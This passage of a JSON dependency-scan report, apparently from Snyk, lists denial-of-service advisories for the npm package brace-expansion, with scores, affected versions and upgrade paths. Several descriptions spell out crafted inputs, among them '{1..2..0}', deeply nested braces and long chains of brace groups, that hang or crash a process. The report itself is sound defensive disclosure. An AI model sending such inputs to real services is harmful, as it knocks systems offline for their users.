"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmaccess@8.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmaccess@8.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmaccess@8.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmaccess@8.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmaccess@8.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 